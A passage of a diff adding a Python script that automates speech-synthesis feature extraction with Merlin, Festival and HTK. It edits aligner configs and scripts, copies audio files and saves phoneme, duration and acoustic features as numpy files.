+        for n, l in enumerate(config_lines):
+            if "HTKDIR=" in l:
+                htkdir_replace_line = n
+                break
+
+        config_lines[htkdir_replace_line] = "HTKDIR=%s\n" % htkdir
+
+        with open("config.cfg", "w") as f:
+            f.writelines(config_lines)
+
+        pe("bash -x run_aligner.sh config.cfg 2>&1", shell=True)
+    else:
+        os.chdir(merlin_dir)
+        if not os.path.exists("misc/scripts/alignment/phone_align/full-context-labels/full"):
+            os.chdir("misc/scripts/alignment/phone_align")
+            pe("bash -x setup.sh 2>&1", shell=True)
+
+            with open("config.cfg", "r") as f:
+                config_lines = f.readlines()
+
+            # replace ESTDIR with the correct path
+            estdir_replace_line = None
+            for n, l in enumerate(config_lines):
+                if "ESTDIR=" in l and l[0] == "E":
+                    estdir_replace_line = n
+                    break
+
+            config_lines[estdir_replace_line] = "ESTDIR=%s\n" % estdir
+
+            # replace FESTDIR with the correct path
+            festdir_replace_line = None
+            for n, l in enumerate(config_lines):
+                # EST/FEST
+                if "FESTDIR=" in l and l[0] == "F":
+                    festdir_replace_line = n
+                    break
+
+            config_lines[festdir_replace_line] = "FESTDIR=%s\n" % festdir
+
+            # replace FESTVOXDIR with the correct path
+            festvoxdir_replace_line = None
+            for n, l in enumerate(config_lines):
+                if "FESTVOXDIR=" in l:
+                    festvoxdir_replace_line = n
+                    break
+
+            config_lines[festvoxdir_replace_line] = "FESTVOXDIR=%s\n" % festvoxdir
+
+            with open("config.cfg", "w") as f:
+                f.writelines(config_lines)
+
+            with open("run_aligner.sh", "r") as f:
+                run_aligner_lines = f.readlines()
+
+            replace_line = None
+            for n, l in enumerate(run_aligner_lines):
+                if "cp ../cmuarctic.data" in l:
+                    replace_line = n
+                    break
+
+            run_aligner_lines[replace_line] = "cp ../txt.done.data etc/txt.done.data\n"
+
+            # Make the txt.done.data file
+            def format_info_tup(info_tup):
+                return "( " + str(info_tup[0]) + ' "' + info_tup[1] + '" )\n'
+
+            # Now we need to get the text info
+            txt_partial_path = txt_path # vctkdir + "txt/"
+            cwd = os.getcwd()
+            out_path = "txt.done.data"
+            out_file = open(out_path, "w")
+            """
+            subfolders = sorted(os.listdir(txt_partial_path))
+            # TODO: Avoid this truncation and have an option to select subfolder(s)...
+            subfolders = subfolder_select(subfolders)
+
+            txt_ids = []
+            for sf in subfolders:
+                print("Processing subfolder %s" % sf)
+                txt_sf_path = txt_partial_path + sf + "/"
+                for txtpath in os.listdir(txt_sf_path):
+                    full_txtpath = txt_sf_path + txtpath
+                    with open(full_txtpath, 'r') as f:
+                        r = f.readlines()
+                        assert len(r) == 1
+                        # remove txt extension
+                        name = txtpath.split(".")[0]
+                        text = r[0].strip()
+                        info_tup = (name, text)
+                        txt_ids.append(name)
+                        out_file.writelines(format_info_tup(info_tup))
+            """
+            txt_ids = []
+            txt_l_path = txt_partial_path
+            for txtpath in os.listdir(txt_l_path):
+                print("Processing %s" % txtpath)
+                full_txtpath = txt_l_path + txtpath
+                name = txtpath.split(".")[0]
+                wavpath_matches = [fname.split(".")[0] for fname in os.listdir(wav_partial_path)
+                                   if name in fname]
+                for name in wavpath_matches:
+                    # Need an extra level here for pavoque :/
+                    with open(full_txtpath, 'r') as f:
+                        r = f.readlines()
+                    if len(r) == 0:
+                        continue
+                    if len(r) != 1:
+                        new_r = []
+                        for ri in r:
+                            if ri != "\n":
+                                new_r.append(ri)
+                        r = new_r
+                    if len(r) != 1:
+                        print("Something wrong in text extraction, cowardly bailing to IPython")
+                        from IPython import embed; embed()
+                        raise ValueError()
+                    assert len(r) == 1
+                    # remove txt extension
+                    text = r[0].strip()
+                    info_tup = (name, text)
+                    txt_ids.append(name)
+                    out_file.writelines(format_info_tup(info_tup))
+            out_file.close()
+            pe("cp %s %s/txt.done.data" % (out_path, latest_feature_dir),
+               shell=True)
+            os.chdir(cwd)
+
+            replace_line = None
+            for n, l in enumerate(run_aligner_lines):
+                if "cp ../slt_wav/*.wav" in l:
+                    replace_line = n
+                    break
+
+            run_aligner_lines[replace_line] = "cp ../wav/*.wav wav\n"
+
+            # Put wav file in the correct place
+            wav_partial_path = experiment_dir + "/database/wav"
+            """
+            subfolders = sorted(os.listdir(wav_partial_path))
+            """
+            if not os.path.exists("wav"):
+                os.mkdir("wav")
+            cwd = os.getcwd()
+            os.chdir("wav")
+            """
+            for sf in subfolders:
+                wav_path = wav_partial_path + "/*.wav"
+                pe("cp %s ." % wav_path, shell=True)
+            """
+            wav_match_path = wav_partial_path + "/*.wav"
+            for fi in glob.glob(wav_match_path):
+                fi = re.escape(fi)
+                try:
+                    pe("echo %s; cp %s ." % (fi, fi), shell=True)
+                except:
+                    from IPython import embed; embed(); raise ValueError()
+                #pe("echo %s; cp %s ." % (fi, fi), shell=True)
+            #pe("cp %s ." % wav_match_path, shell=True)
+            os.chdir(cwd)
+
+            replace_line = None
+            for n, l in enumerate(run_aligner_lines):
+                if "cat cmuarctic.data |" in l:
+                    replace_line = n
+                    break
+
+            run_aligner_lines[replace_line] = 'cat txt.done.data | cut -d " " -f 2 > file_id_list.scp\n'
+
+            # FIXME
+            # Hackaround to avoid harcoded 30 in festivox do_ehmm
+            if not full_features:
+                bdir = os.getcwd()
+
+                # need to hack up run_aligner more..
+                # do setup manually
+                pe("mkdir cmu_us_slt_arctic", shell=True)
+                os.chdir("cmu_us_slt_arctic")
+
+                pe("%s/src/clustergen/setup_cg cmu us slt_arctic" % festvoxdir, shell=True)
+
+                pe("cp ../txt.done.data etc/txt.done.data", shell=True)
+                wmp = "../wav/*.wav"
+                for fi in glob.glob(wmp):
+                    fi = re.escape(fi)
+                    try:
+                        pe("echo %s; cp %s wav/" % (fi, fi), shell=True)
+                    except:
+                        from IPython import embed; embed(); raise ValueError()
+                    #pe("echo %s; cp %s wav/" % (fi, fi), shell=True)
+                #pe("cp ../wav/*.wav wav/", shell=True)
+
+                # remove top part but keep cd call
+                run_aligner_lines = run_aligner_lines[:13] + ["cd cmu_us_slt_arctic\n"] + run_aligner_lines[35:]
+
+                '''
+                # need to change do_build
+                # NO LONGER NECESSARY DUE TO FESTIVAL DEPENDENCE ON FILENAME
+
+                os.chdir("bin")
+                with open("do_build", "r") as f:
+                    do_build_lines = f.readlines()
+
+                replace_line = None
+                for n, l in enumerate(do_build_lines):
+                    if "$FESTVOXDIR/src/ehmm/bin/do_ehmm" in l:
+                        replace_line = n
+                        break
+
+                do_build_lines[replace_line] = "   $FESTVOXDIR/src/ehmm/bin/do_ehmm\n"
+
+                # FIXME Why does this hang when not overwritten???
+                with open("edit_do_build", "w") as f:
+                    f.writelines(do_build_lines)
+                '''
+
+                # need to change do_ehmm
+                os.chdir(festvoxdir)
+                os.chdir("src/ehmm/bin/")
+
+                # this is to fix festival if we somehow kill in the middle of training :(
+                # all due to festival's apparent dependence on name of script!
+                # really, really, REALLY weird
+                if os.path.exists("do_ehmm.bak"):
+                    with open("do_ehmm.bak", "r") as f:
+                        fix = f.readlines()
+
+                    with open("do_ehmm", "w") as f:
+                        f.writelines(fix)
+
+                with open("do_ehmm", "r") as f:
+                    do_ehmm_lines = f.readlines()
+
+                with open("do_ehmm.bak", "w") as f:
+                    f.writelines(do_ehmm_lines)
+
+                replace_line = None
+                for n, l in enumerate(do_ehmm_lines):
+                    if "$EHMMDIR/bin/ehmm ehmm/etc/ph_list.int" in l:
+                        replace_line = n
+                        break
+
+                max_n_itr = ehmm_max_n_itr
+                do_ehmm_lines[replace_line] = "    $EHMMDIR/bin/ehmm ehmm/etc/ph_list.int ehmm/etc/txt.phseq.data.int 1 0 ehmm/binfeat scaledft ehmm/mod 0 0 0 %s $num_cpus\n" % str(max_n_itr)
+
+                # depends on *name* of the script?????????
+                with open("do_ehmm", "w") as f:
+                    f.writelines(do_ehmm_lines)
+
+                # need to edit run_aligner....
+                dbn = "do_build"
+                # FIXME
+                # WHY DOES IT DEPEND ON FILENAME????!!!!!??????
+                # should be able to call only edit_do_build label
+                # but hangs indefinitely...
+                replace_line = None
+                for n, l in enumerate(run_aligner_lines):
+                    if "./bin/do_build build_prompts" in l:
+                        replace_line = n
+                        break
+                run_aligner_lines[replace_line] = "./bin/%s build_prompts\n" % dbn
+
+                replace_line = None
+                for n, l in enumerate(run_aligner_lines):
+                    if "./bin/do_build label" in l:
+                        replace_line = n
+                        break
+                run_aligner_lines[replace_line] = "./bin/%s label\n" % dbn
+
+                replace_line = None
+                for n, l in enumerate(run_aligner_lines):
+                    if "./bin/do_build build_utts" in l:
+                        replace_line = n
+                        break
+                run_aligner_lines[replace_line] = "./bin/%s build_utts\n" % dbn
+                os.chdir(bdir)
+
+            with open("edit_run_aligner.sh", "w") as f:
+                f.writelines(run_aligner_lines)
+
+            # 2>&1 needed to make it work?? really sketchy
+            pe("bash -x edit_run_aligner.sh config.cfg 2>&1", shell=True)
+
+    # compile vocoder
+    os.chdir(merlin_dir)
+    #set it to run on cpu
+    pe("sed -i.bak -e s/MERLIN_THEANO_FLAGS=.*/MERLIN_THEANO_FLAGS='device=cpu,floatX=float32,on_unused_input=ignore'/g src/setup_env.sh", shell=True)
+    os.chdir("tools")
+    if not os.path.exists("SPTK-3.9"):
+        pe("bash -x compile_tools.sh 2>&1", shell=True)
+
+    # slt_arctic stuff
+    os.chdir(merlin_dir)
+    os.chdir("egs/slt_arctic/s1")
+
+    # This madness due to autogen configs...
+    pe("bash -x scripts/setup.sh slt_arctic_full 2>&1", shell=True)
+
+    global_config_file = "conf/global_settings.cfg"
+    replace_write(global_config_file, "Labels", "phone_align", replace_line="%s=%s\n")
+    replace_write(global_config_file, "Train", "1132", replace_line="%s=%s\n")
+    replace_write(global_config_file, "Valid", "0", replace_line="%s=%s\n")
+    replace_write(global_config_file, "Test", "0", replace_line="%s=%s\n")
+
+    pe("bash -x scripts/prepare_config_files.sh %s 2>&1" % global_config_file, shell=True)
+    pe("bash -x scripts/prepare_config_files_for_synthesis.sh %s 2>&1" % global_config_file, shell=True)
+    # delete the setup lines from run_full_voice.sh
+    pe("sed -i.bak -e '11d;12d;13d' run_full_voice.sh", shell=True)
+
+    pushd = os.getcwd()
+    os.chdir("conf")
+
+    acoustic_conf = "acoustic_slt_arctic_full.conf"
+    replace_write(acoustic_conf, "train_file_number", "1132")
+    replace_write(acoustic_conf, "valid_file_number", "0")
+    replace_write(acoustic_conf, "test_file_number", "0")
+
+    replace_write(acoustic_conf, "label_type", "phone_align")
+    replace_write(acoustic_conf, "subphone_feats", "coarse_coding")
+    replace_write(acoustic_conf, "dmgc", "60")
+    replace_write(acoustic_conf, "dbap", "1")
+    # hack this to add an extra line in the config
+    replace_write(acoustic_conf, "dlf0", "1\ndo_MLPG: False")
+
+    if not full_features:
+        replace_write(acoustic_conf, "warmup_epoch", "1")
+        replace_write(acoustic_conf, "training_epochs", "1")
+    replace_write(acoustic_conf, "TRAINDNN", "False")
+    replace_write(acoustic_conf, "DNNGEN", "False")
+    replace_write(acoustic_conf, "GENWAV", "False")
+    replace_write(acoustic_conf, "CALMCD", "False")
+
+    duration_conf = "duration_slt_arctic_full.conf"
+    replace_write(duration_conf, "train_file_number", "1132")
+    replace_write(duration_conf, "valid_file_number", "0")
+    replace_write(duration_conf, "test_file_number", "0")
+    replace_write(duration_conf, "label_type", "phone_align")
+    replace_write(duration_conf, "dur", "1")
+    if not full_features:
+        replace_write(duration_conf, "warmup_epoch", "1")
+        replace_write(duration_conf, "training_epochs", "1")
+
+    replace_write(duration_conf, "TRAINDNN", "False")
+    replace_write(duration_conf, "DNNGEN", "False")
+    replace_write(duration_conf, "CALMCD", "False")
+
+    os.chdir(pushd)
+    if not os.path.exists("slt_arctic_full_data"):
+        pe("bash -x run_full_voice.sh 2>&1", shell=True)
+
+    pe("mv run_full_voice.sh.bak run_full_voice.sh", shell=True)
+
+    os.chdir(merlin_dir)
+    os.chdir("misc/scripts/vocoder/world")
+
+    with open("extract_features_for_merlin.sh", "r") as f:
+        ex_lines = f.readlines()
+
+    ex_line_replace = None
+    for n, l in enumerate(ex_lines):
+        if "merlin_dir=" in l:
+            ex_line_replace = n
+            break
+
+    ex_lines[ex_line_replace] = 'merlin_dir="%s"' % merlin_dir
+
+    ex_line_replace = None
+    for n, l in enumerate(ex_lines):
+        if "wav_dir=" in l:
+            ex_line_replace = n
+            break
+
+    ex_lines[ex_line_replace] = 'wav_dir="%s"' % (experiment_dir + "/database/wav")
+
+    with open("edit_extract_features_for_merlin.sh", "w") as f:
+        f.writelines(ex_lines)
+
+    pe("bash -x edit_extract_features_for_merlin.sh 2>&1", shell=True)
+
+    os.chdir(basedir)
+    os.chdir("latest_features")
+    os.symlink(merlin_dir + "/egs/slt_arctic/s1/slt_arctic_full_data/feat", "audio_feat")
+    os.symlink(merlin_dir + "/misc/scripts/alignment/phone_align/full-context-labels/full", "text_feat")
+
+    print("Audio features in %s (and %s)" % (os.getcwd() + "/audio_feat", merlin_dir + "/egs/slt_arctic/s1/slt_arctic_full_data/feat"))
+    print("Text features in %s (and %s)" % (os.getcwd() + "/text_feat", merlin_dir + "/misc/scripts/alignment/phone_align/full-context-labels/full"))
+    os.chdir(basedir)
+
+
+def extract_final_features():
+    launchdir = os.getcwd()
+    os.chdir("latest_features")
+    basedir = os.path.abspath(os.getcwd()) + "/"
+    text_files = os.listdir("text_feat")
+    audio_files = os.listdir("audio_feat/bap")
+    os.chdir("merlin/egs/build_your_own_voice/s1")
+    expdir = os.getcwd()
+
+    # make the file list
+    file_list_base = "experiments/my_new_voice/duration_model/data/"
+    if not os.path.exists(file_list_base):
+        os.mkdir(file_list_base)
+
+    file_list_path = file_list_base + "file_id_list_full.scp"
+    with open(file_list_path, "w") as f:
+        f.writelines([tef.split(".")[0] + "\n" for tef in text_files])
+
+    if not os.path.exists(basedir + "file_id_list_full.scp"):
+        os.symlink(os.path.abspath(file_list_path), os.path.abspath(basedir + "file_id_list_full.scp"))
+
+    # make the file list
+    file_list_base = "experiments/my_new_voice/acoustic_model/data/"
+    if not os.path.exists(file_list_base):
+        os.mkdir(file_list_base)
+
+    file_list_path = file_list_base + "file_id_list_full.scp"
+    with open(file_list_path, "w") as f:
+        f.writelines([tef.split(".")[0] + "\n" for tef in text_files])
+
+    if not os.path.exists(basedir + "file_id_list_full.scp"):
+        os.symlink(os.path.abspath(file_list_path), os.path.abspath(basedir + "file_id_list_full.scp"))
+
+    file_list_base = "experiments/my_new_voice/test_synthesis/"
+    if not os.path.exists(file_list_base):
+        os.mkdir(file_list_base)
+
+    file_list_path = file_list_base + "test_id_list.scp"
+    # debug with no test utterances
+    with open(file_list_path, "w") as f:
+        #f.writelines(["\n",])
+        f.writelines([tef.split(".")[0] + "\n" for tef in text_files[:20]])
+
+    if not os.path.exists(basedir + "test_id_list.scp"):
+        os.symlink(os.path.abspath(file_list_path), os.path.abspath(basedir + "test_id_list.scp"))
+
+    # now copy in the data - don't symlink due to possibilities of inplace
+    # modification
+    os.chdir(expdir)
+    basedatadir = "experiments/my_new_voice/"
+    os.chdir(basedatadir)
+
+    labeldatadir = "duration_model/data/label_phone_align"
+    if not os.path.exists(labeldatadir):
+        os.mkdir(labeldatadir)
+
+    # IT USES HTS STYLE LABELS
+    copytree(basedir + "text_feat", labeldatadir)
+
+    labeldatadir = "acoustic_model/data/label_phone_align"
+    if not os.path.exists(labeldatadir):
+        os.mkdir(labeldatadir)
+
+    bapdatadir = "acoustic_model/data/bap"
+    if not os.path.exists(bapdatadir):
+        os.mkdir(bapdatadir)
+
+    lf0datadir = "acoustic_model/data/lf0"
+    if not os.path.exists(lf0datadir):
+        os.mkdir(lf0datadir)
+
+    mgcdatadir = "acoustic_model/data/mgc"
+    if not os.path.exists(mgcdatadir):
+        os.mkdir(mgcdatadir)
+
+    # IT USES HTS STYLE LABELS
+    copytree(basedir + "text_feat", labeldatadir)
+    copytree(basedir + "audio_feat/bap", bapdatadir)
+    copytree(basedir + "audio_feat/lf0", lf0datadir)
+    copytree(basedir + "audio_feat/mgc", mgcdatadir)
+    #pe("cp %s acoustic_model/data" % "label_norm_HTS_420.dat")
+
+    while len(os.listdir(mgcdatadir)) < len(os.listdir(basedir + "audio_feat/mgc")):
+        print("waiting for mgc file copy to complete...")
+        time.sleep(3)
+
+    while len(os.listdir(lf0datadir)) < len(os.listdir(basedir + "audio_feat/lf0")):
+        print("waiting for lf0 file copy to complete...")
+        time.sleep(3)
+
+    while len(os.listdir(bapdatadir)) < len(os.listdir(basedir + "audio_feat/bap")):
+        print("waiting for bap file copy to complete...")
+        time.sleep(3)
+
+    num_audio_files = len(os.listdir(mgcdatadir))
+    num_label_files = len(os.listdir(labeldatadir))
+    num_files = min([num_audio_files, num_label_files])
+
+    os.chdir(expdir)
+
+    global_config_file="conf/global_settings.cfg"
+    pe("bash -x scripts/prepare_config_files.sh %s 2>&1" % global_config_file, shell=True)
+    pe("bash -x scripts/prepare_config_files_for_synthesis.sh %s 2>&1" % global_config_file, shell=True)
+
+    # this actally won't matter I don't think...
+    replace_write(global_config_file, "Train", str(num_files), replace_line="%s=%s\n")
+    replace_write(global_config_file, "Valid", "0", replace_line="%s=%s\n")
+    replace_write(global_config_file, "Test", "0", replace_line="%s=%s\n")
+
+    acoustic_conf = "conf/acoustic_my_new_voice.conf"
+    replace_write(acoustic_conf, "train_file_number", str(num_files))
+    replace_write(acoustic_conf, "valid_file_number", "0")
+    replace_write(acoustic_conf, "test_file_number", "0")
+
+    replace_write(acoustic_conf, "label_type", "phone_align")
+    replace_write(acoustic_conf, "subphone_feats", "coarse_coding")
+    replace_write(acoustic_conf, "dmgc", "60")
+    replace_write(acoustic_conf, "dbap", "1")
+    # hack this to add an extra line in the config
+    replace_write(acoustic_conf, "dlf0", "1\ndo_MLPG: False")
+
+    if not full_features:
+        replace_write(acoustic_conf, "warmup_epoch", "1")
+        replace_write(acoustic_conf, "training_epochs", "1")
+    replace_write(acoustic_conf, "TRAINDNN", "False")
+    replace_write(acoustic_conf, "DNNGEN", "False")
+    replace_write(acoustic_conf, "GENWAV", "False")
+    replace_write(acoustic_conf, "CALMCD", "False")
+
+    duration_conf = "conf/duration_my_new_voice.conf"
+    replace_write(duration_conf, "train_file_number", str(num_files))
+    replace_write(duration_conf, "valid_file_number", "0")
+    replace_write(duration_conf, "test_file_number", "0")
+    replace_write(duration_conf, "label_type", "phone_align")
+    replace_write(duration_conf, "dur", "1")
+    if not full_features:
+        replace_write(duration_conf, "warmup_epoch", "1")
+        replace_write(duration_conf, "training_epochs", "1")
+
+    '''
+    replace_write("conf/acoustic_my_new_voice.conf", "train_file_number", str(num_files))
+    replace_write("conf/acoustic_my_new_voice.conf", "valid_file_number", "0")
+    replace_write("conf/acoustic_my_new_voice.conf", "test_file_number", "0")
+
+    replace_write("conf/acoustic_my_new_voice.conf", "dmgc", "60")
+    replace_write("conf/acoustic_my_new_voice.conf", "dbap", "1")
+    # hack this to add an extra line in the config
+    replace_write("conf/acoustic_my_new_voice.conf", "dlf0", "1\ndo_MLPG: False")
+
+    replace_write("conf/acoustic_my_new_voice.conf", "TRAINDNN", "False")
+    replace_write("conf/acoustic_my_new_voice.conf", "DNNGEN", "False")
+    replace_write("conf/acoustic_my_new_voice.conf", "GENWAV", "False")
+    replace_write("conf/acoustic_my_new_voice.conf", "CALMCD", "False")
+
+
+    replace_write("conf/duration_my_new_voice.conf", "train_file_number", str(num_files))
+    replace_write("conf/duration_my_new_voice.conf", "valid_file_number", "0")
+    replace_write("conf/duration_my_new_voice.conf", "test_file_number", "0")
+
+    replace_write("conf/duration_my_new_voice.conf", "TRAINDNN", "False")
+    replace_write("conf/duration_my_new_voice.conf", "DNNGEN", "False")
+    replace_write("conf/duration_my_new_voice.conf", "CALMCD", "False")
+    '''
+
+    pe("sed -i.bak -e '19,20d;30,39d' 03_run_merlin.sh", shell=True)
+    pe("bash -x 03_run_merlin.sh 2>&1", shell=True)
+    pe("mv 03_run_merlin.sh.bak 03_run_merlin.sh", shell=True)
+    if not os.path.exists(basedir + "final_acoustic_data"):
+        os.symlink(os.path.abspath("experiments/my_new_voice/acoustic_model/data"),
+                                   basedir + "final_acoustic_data")
+    if not os.path.exists(basedir + "final_duration_data"):
+        os.symlink(os.path.abspath("experiments/my_new_voice/duration_model/data"),
+                                   basedir + "final_duration_data")
+    os.chdir(launchdir)
+
+
+def save_numpy_features():
+    n_ins = 420
+    n_outs = 63  # 187
+
+    feature_dir = "latest_features/"
+    with open(feature_dir + "file_id_list_full.scp") as f:
+        file_list = [l.strip() for l in f.readlines()]
+
+    norm_info_dir = os.path.abspath("latest_features/norm_info/") + "/"
+    if not os.path.exists(norm_info_dir):
+        os.mkdir(norm_info_dir)
+
+    acoustic_dir = os.path.abspath(feature_dir + "final_acoustic_data/") + "/"
+    audio_norm_file = "norm_info_mgc_lf0_vuv_bap_%s_MVN.dat" % str(n_outs)
+    audio_norm_source = acoustic_dir + audio_norm_file
+    audio_norm_dest = norm_info_dir + audio_norm_file
+    shutil.copy2(audio_norm_source, audio_norm_dest)
+
+    with open(audio_norm_source) as fid:
+        cmp_info = np.fromfile(fid, dtype=np.float32)
+        cmp_info = cmp_info.reshape((2, -1))
+    audio_norm = cmp_info
+
+    label_norm_file = "label_norm_HTS_%s.dat" % n_ins
+    label_norm_source = acoustic_dir + label_norm_file
+    label_norm_dest = norm_info_dir + label_norm_file
+    shutil.copy2(label_norm_source, label_norm_dest)
+
+    with open(label_norm_source) as fid:
+        cmp_info = np.fromfile(fid, dtype=np.float32)
+        cmp_info = cmp_info.reshape((2, -1))
+    label_norm = cmp_info
+
+    text_file = feature_dir + 'txt.done.data'
+
+    with open(text_file) as f:
+        text_data = [l.strip() for l in f.readlines()]
+
+    monophone_path = os.path.abspath("latest_features/monophones") + "/"
+    if not os.path.exists(monophone_path):
+        # Trailing "/" causes issues
+        os.symlink(os.path.abspath("latest_features/merlin/misc/scripts/alignment/phone_align/cmu_us_slt_arctic/lab"), monophone_path[:-1])
+
+    launchdir = os.getcwd()
+    phone_files = {gl[:-4]: monophone_path + gl for gl in os.listdir(monophone_path)
+                if gl[-4:] == ".lab"}
+
+    text_ids = [td.split(" ")[1] for td in text_data]
+
+    label_files_path = os.path.abspath("latest_features/final_acoustic_data/nn_no_silence_lab_420") + "/"
+    # still has silence in it?
+    #audio_files_path = os.path.abspath("latest_features/final_acoustic_data/nn_mgc_lf0_vuv_bap_63") + "/"
+    audio_files_path = os.path.abspath("latest_features/final_acoustic_data/nn_norm_mgc_lf0_vuv_bap_63") + "/"
+    label_files = {lf[:-4]: label_files_path + lf for lf in os.listdir(label_files_path) if lf[-4:] == ".lab"}
+    audio_files = {af[:-4]: audio_files_path + af for af in os.listdir(audio_files_path) if af[-4:] == ".cmp"}
+
+    error_files = [
+        (i, x) for i, x in enumerate(text_ids) if x not in file_list]
+
+    # Solve corrupted files issues
+    for i, x in error_files:
+        try:
+            text_ids.remove(x)
+        except ValueError:
+            pass
+        try:
+            file_list.remove(x)
+        except ValueError:
+            pass
+        text_data = [td for td in text_data if td.split(" ")[1] != x]
+
+    text_utts = [td.split('"')[1] for td in text_data]
+    text_tups = list(zip(text_ids, text_utts))
+    text_lu = {k: v for k, v in text_tups}
+    text_rlu = {v: k for k, v in text_lu.items()}
+
+    # take only valid subset.... ?
+    new_file_list = []
+    text_tup_fnames = [tt[0] for tt in text_tups]
+    for n, fname in enumerate(file_list):
+        if fname in text_tup_fnames:
+            new_file_list.append(fname)
+
+    file_list = new_file_list
+
+    new_text_tups = []
+    for n, ttup in enumerate(text_tups):
+        if ttup[0] in file_list:
+            new_text_tups.append(ttup)
+
+    text_tups = new_text_tups
+
+    # why on earth should this fail
+    #assert len(text_tups) == len(file_list)
+    assert sum([ti not in file_list for ti in text_ids]) == 0
+
+    char_set = sorted(list(set(''.join(text_utts).lower())))
+    char2code = {x: i for i, x in enumerate(char_set)}
+    code2char = {v: k for k, v in char2code.items()}
+
+    phone_set = tuple('sil',)
+    for fid in file_list:
+        with open(phone_files[fid]) as f:
+            phonemes = [p.strip() for p in f.readlines()]
+        #FIXME: Bug here that allows filenames in
+        phonemes = [x.strip().split(' ') for x in phonemes[1:]]
+        durations, phonemes = zip(*[[float(x), z] for x, y, z in phonemes])
+        phone_set = tuple(sorted(list(set(phone_set + phonemes))))
+    phone2code = {x: i for i, x in enumerate(phone_set)}
+    code2phone = {v: k for k, v in phone2code.items()}
+    order = range(len(file_list))
+    np.random.seed(1)
+    np.random.shuffle(order)
+
+    all_in_features = []
+    all_out_features = []
+    all_phonemes = []
+    all_durations = []
+    all_text = []
+    all_ids = []
+    for i, idx in enumerate(order):
+        fid = file_list[idx]
+        #if i % 100 == 0:
+        #    print(i)
+        in_features, lab_frame_number = load_binary_file_frame(
+            label_files[fid], n_ins)
+        out_features, out_frame_number = load_binary_file_frame(
+            audio_files[fid], n_outs)
+
+        #print(lab_frame_number)
+        #print(out_frame_number)
+        if lab_frame_number != out_frame_number:
+            print("WARNING: misaligned frame size for %s, using min" % fid)
+            mf = min(lab_frame_number, out_frame_number)
+            in_features = in_features[:mf]
+            out_features = out_features[:mf]
+
+        with open(phone_files[fid]) as f:
+            phonemes = f.readlines()
+
+        phonemes = [x.strip().split(' ') for x in phonemes[1:]]
+        durations, phonemes = zip(*[[float(x), z] for x, y, z in phonemes])
+
+        # first non pause phoneme
+        first_phoneme = next(
+            k - 1 for k, x in enumerate(phonemes) if x != 'pau')
+
+        last_phoneme = len(phonemes) - next(
+            k - 1 for k, x in enumerate(phonemes[::-1]) if x != 'pau')
+
+        phonemes = phonemes[first_phoneme:last_phoneme]
+        durations = durations[first_phoneme:last_phoneme]
+
+        assert phonemes[0] == 'pau'
+        assert phonemes[-1] == 'pau'
+        # assert 'pau' not in phonemes[1:-1]
+        phonemes = phonemes[1:-1]
+
+        durations = np.array(durations)
+        durations = durations * 200
+        durations = durations - durations[0]
+        durations = durations[1:] - durations[:-1]
+        durations = durations[:-1]
+        durations = np.round(durations, 0).astype('int32')
+        phonemes = np.array([phone2code[x] for x in phonemes], dtype='int32')
+        all_in_features.append(in_features)
+        all_out_features.append(out_features)
+        all_phonemes.append(phonemes)
+        all_durations.append(durations)
+        all_text.append(text_lu[fid])
+        all_ids.append(fid)
+
+    assert len(all_in_features) == len(all_out_features)
+    assert len(all_in_features) == len(all_phonemes)
+    assert len(all_in_features) == len(all_durations)
+    assert len(all_in_features) == len(all_text)
+    assert len(all_in_features) == len(all_ids)
+
+    if not os.path.exists("latest_features/numpy_features"):
+        os.mkdir("latest_features/numpy_features")
+
+    def oa(s_dict):
+        a = []
+        for i in range(max([int(k) for k in s_dict.keys()])):
+            a.append(s_dict[i])
+        return arr(a)
+
+    def arr(s):
+        return np.array(s)
+
+    for i in range(len(all_ids)):
+        print("Saving %s" % all_ids[i])
+        save_dict = {"file_id": arr(all_ids[i]),
+                    "phonemes": arr(all_phonemes[i]),
+                    "durations": arr(all_durations[i]),
+                    "text": arr(all_text[i]),
+                    #"text_features": arr(all_in_features[i]),
+                    #"text_norminfo": label_norm,
+                    "audio_features": arr(all_out_features[i]),
+                    #"audio_norminfo": audio_norm,
+                    "mgc_extent": arr(60),
+                    "lf0_idx": arr(60),
+                    "vuv_idx": arr(61),
+                    "bap_idx": arr(62),
+                    #"code2phone": oa(code2phone),
+                    #"code2char": oa(code2char),
+                    #"code2speaker": oa(code2speaker),
+                    }
+
+        np.savez_compressed("latest_features/numpy_features/%s.npz" % all_ids[i],
+                            **save_dict)
+
+
+def generate_merlin_wav(
+        data, gen_dir, file_basename=None, #norm_info_file,
+        do_post_filtering=True, mgc_dim=60, fl=1024, sr=16000):
+    # Made from Jose's code and Merlin
+    gen_dir = os.path.abspath(gen_dir) + "/"
+    if file_basename is None:
+        base = "tmp_gen_wav"
+    else:
+        base = file_basename
+    if not os.path.exists(gen_dir):
+        os.mkdir(gen_dir)
+
+    file_name = os.path.join(gen_dir, base + ".cmp")
+    """
+    fid = open(norm_info_file, 'rb')
+    cmp_info = numpy.fromfile(fid, dtype=numpy.float32)
+    fid.close()
+    cmp_info = cmp_info.reshape((2, -1))
+    cmp_mean = cmp_info[0, ]
+    cmp_std = cmp_info[1, ]
+
+    data = data * cmp_std + cmp_mean
+    """
+
+    array_to_binary_file(data, file_name)
+    # This code was adapted from Merlin. All licenses apply
+
+    out_dimension_dict = {'bap': 1, 'lf0': 1, 'mgc': 60, 'vuv': 1}
+    stream_start_index = {}
+    file_extension_dict = {
+        'mgc': '.mgc', 'bap': '.bap', 'lf0': '.lf0',
+        'dur': '.dur', 'cmp': '.cmp'}
+    gen_wav_features = ['mgc', 'lf0', 'bap']
+
+    dimension_index = 0
+    for feature_name in out_dimension_dict.keys():
+        stream_start_index[feature_name] = dimension_index
+        dimension_index += out_dimension_dict[feature_name]
+
+    dir_name = os.path.dirname(file_name)
+    file_id = os.path.splitext(os.path.basename(file_name))[0]
+    features, frame_number = load_binary_file_frame(file_name, 63)
+
+    for feature_name in gen_wav_features:
+
+        current_features = features[
+            :, stream_start_index[feature_name]:
+            stream_start_index[feature_name] +
+            out_dimension_dict[feature_name]]
+
+        gen_features = current_features
+
+        if feature_name in ['lf0', 'F0']:
+            if 'vuv' in stream_start_index.keys():
+                vuv_feature = features[
+                    :, stream_start_index['vuv']:stream_start_index['vuv'] + 1]
+
+                for i in range(frame_number):
+                    if vuv_feature[i, 0] < 0.5:
+                        gen_features[i, 0] = -1.0e+10  # self.inf_float
+
+        new_file_name = os.path.join(
+            dir_name, file_id + file_extension_dict[feature_name])
+
+        array_to_binary_file(gen_features, new_file_name)
+
+    pf_coef = 1.4
+    fw_alpha = 0.58
+    co_coef = 511
+
+    sptkdir = merlindir + "tools/bin/SPTK-3.9/"
+    #sptkdir = os.path.abspath("latest_features/merlin/tools/bin/SPTK-3.9") + "/"
